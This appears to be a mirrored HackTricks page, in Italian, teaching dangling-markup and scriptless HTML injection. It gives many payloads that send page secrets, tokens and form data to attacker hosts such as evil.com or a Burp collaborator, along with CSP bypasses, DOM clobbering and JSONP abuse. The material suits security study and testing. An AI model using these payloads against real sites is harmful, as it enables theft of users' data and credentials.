Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/dangling-markup-html-scriptless-injection
History
Translator 26233e3b2f Translated ['forensics/basic-forensic-methodology/partitions-file-system
2024-03-24 13:19:55 +00:00
..
README.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-24 13:19:55 +00:00
ss-leaks.md Translated to Italian 2024-02-10 13:03:23 +00:00

README.md

Markup Sospeso - Iniezione HTML senza script

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Riassunto

Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata un'iniezione HTML. Questo è molto utile se non trovi alcun modo per sfruttare un XSS ma puoi iniettare alcuni tag HTML.
È anche utile se qualche segreto è salvato in chiaro nell'HTML e vuoi esfiltrarlo dal client, o se vuoi ingannare l'esecuzione di qualche script.

Diverse tecniche commentate qui possono essere utilizzate per aggirare alcune Content Security Policy esfiltrando informazioni in modi inaspettati (tag html, CSS, tag http-meta, form, base...).

Applicazioni Principali

Rubare segreti in chiaro

Se inietti <img src='http://evil.com/log.cgi? quando la pagina viene caricata, la vittima ti invierà tutto il codice tra il tag img iniettato e il successivo apice all'interno del codice. Se un segreto è in qualche modo situato in quel frammento, lo ruberai (puoi fare la stessa cosa usando un doppio apice, guarda quale potrebbe essere più interessante da usare).

Se il tag img è vietato (ad esempio a causa di CSP) puoi anche usare <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Nota che Chrome blocca gli URL HTTP con "<" o "\n" al loro interno, quindi potresti provare altri schemi di protocollo come "ftp".

Puoi anche abusare di CSS @import (invierà tutto il codice fino a quando non trova un ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Puoi anche usare <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

Puoi anche inserire un tag <base. Tutte le informazioni verranno inviate fino alla chiusura delle virgolette ma richiede un'interazione dell'utente (l'utente deve fare clic su un link, poiché il tag base avrà modificato il dominio indicato dal link):

<base target='        <--- Injected
steal me'<b>test</b>

Rubare moduli

<base href='http://evil.com/'>

Quindi, i moduli che inviano dati al percorso (come <form action='update_profile.php'>) invieranno i dati al dominio maligno.

Rubare moduli 2

Imposta un'intestazione del modulo: <form action='http://evil.com/log_steal'> questo sovrascriverà l'intestazione del modulo successivo e tutti i dati del modulo saranno inviati all'attaccante.

Rubare moduli 3

Il pulsante può cambiare l'URL dove le informazioni del modulo verranno inviate con l'attributo "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Un attaccante può utilizzare questo per rubare le informazioni.

Trova un esempio di questo attacco in questo articolo.

Rubare segreti in testo normale 2

Utilizzando la tecnica menzionata per rubare moduli (iniettando un nuovo header di modulo) è possibile iniettare un nuovo campo di input:

<input type='hidden' name='review_body' value="

e questo campo di input conterrà tutto il contenuto tra le sue virgolette doppie e le successive virgolette doppie nell'HTML. Questo attacco mescola il "Rubare segreti in testo normale" con "Rubare form2".

Puoi fare la stessa cosa iniettando un modulo e un tag <option>. Tutti i dati fino a quando viene trovato un </option> chiuso saranno inviati:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Iniezione di parametri del modulo

Puoi modificare il percorso di un modulo e inserire nuovi valori in modo che venga eseguita un'azione inaspettata:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Rubare segreti in testo normale tramite noscript

<noscript></noscript> È un tag il cui contenuto verrà interpretato se il browser non supporta JavaScript (puoi abilitare/disabilitare JavaScript in Chrome in chrome://settings/content/javascript).

Un modo per esfiltrare il contenuto della pagina web dal punto di iniezione fino in fondo a un sito controllato dall'attaccante sarà iniettare questo:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Eludere CSP con interazione dell'utente

Da questa ricerca di portswiggers puoi apprendere che anche negli ambienti più restrittivi CSP è ancora possibile esfiltrare dati con un po' di interazione dell'utente. In questa occasione utilizzeremo il payload:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Nota che chiederai alla vittima di cliccare su un link che lo reindirizzerà a un payload controllato da te. Nota anche che l'attributo target all'interno del tag base conterrà contenuto HTML fino al prossimo singolo apice.
Ciò farà sì che il valore di window.name se il link viene cliccato sarà tutto quel contenuto HTML. Pertanto, poiché controlli la pagina a cui la vittima sta accedendo cliccando sul link, puoi accedere a quel window.name ed esfiltrare quei dati:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Flusso di lavoro dello script fuorviante 1 - Attacco allo spazio dei nomi HTML

Inserisci un nuovo tag con un id all'interno dell'HTML che sovrascriverà il successivo e con un valore che influenzerà il flusso di uno script. In questo esempio stai selezionando con chi verranno condivise le informazioni:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Flusso di script fuorviante 2 - Attacco allo spazio dei nomi dello script

Creare variabili all'interno dello spazio dei nomi javascript inserendo tag HTML. Successivamente, questa variabile influenzerà il flusso dell'applicazione:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Abuso di JSONP

Se trovi un'interfaccia JSONP potresti essere in grado di chiamare una funzione arbitraria con dati arbitrari:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Oppure puoi anche provare ad eseguire del codice JavaScript:

<script src='/search?q=a&call=alert(1)'></script>

Abuso di Iframe

Un documento figlio possiede la capacità di visualizzare e modificare la proprietà location del suo genitore, anche in situazioni cross-origin. Ciò consente di incorporare uno script all'interno di un iframe che può reindirizzare il client a una pagina arbitraria:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Questo può essere mitigato con qualcosa del genere: sandbox=' allow-scripts allow-top-navigation'

Un iframe può anche essere abusato per rivelare informazioni sensibili da una pagina diversa utilizzando l'attributo name dell'iframe. Questo perché è possibile creare un iframe che si inframezza da solo abusando dell'iniezione HTML che fa sì che le informazioni sensibili appaiano all'interno dell'attributo name dell'iframe e quindi accedere a quel nome dall'iframe iniziale e rivelarlo.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Per ulteriori informazioni consulta https://portswigger.net/research/bypassing-csp-with-dangling-iframes

Abuso di <meta

Potresti utilizzare meta http-equiv per eseguire diverse azioni come impostare un Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> o eseguire un reindirizzamento (in 5s in questo caso): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Questo può essere evitato con un CSP riguardante http-equiv (Content-Security-Policy: default-src 'self';, o Content-Security-Policy: http-equiv 'self';)

Nuovo tag HTML <portal

Puoi trovare una ricerca molto interessante sulle vulnerabilità sfruttabili del tag <portal qui.
Al momento della stesura di questo testo è necessario abilitare il tag portal su Chrome in chrome://flags/#enable-portals o non funzionerà.

<portal src='https://attacker-server?

Perdite di HTML

Non tutti i modi per perdere la connettività in HTML saranno utili per il Markup Pendente, ma a volte potrebbero essere utili. Controllali qui: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

Si tratta di un mix tra markup pendente e XS-Leaks. Da un lato la vulnerabilità consente di iniettare HTML (ma non JS) in una pagina della stessa origine di quella che attaccheremo. Dall'altro non attaccheremo direttamente la pagina dove possiamo iniettare HTML, ma un'altra pagina.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Search/XS-Leaks

XS-Search è orientato a esfiltrare informazioni cross-origin abusando di attacchi a canale laterale. Pertanto, è una tecnica diversa rispetto al Markup Pendente, tuttavia, alcune delle tecniche abusano dell'inclusione di tag HTML (con e senza esecuzione di JS), come l' Iniezione di CSS o il Caricamento pigro delle immagini.

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

Elenco di Rilevamento Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: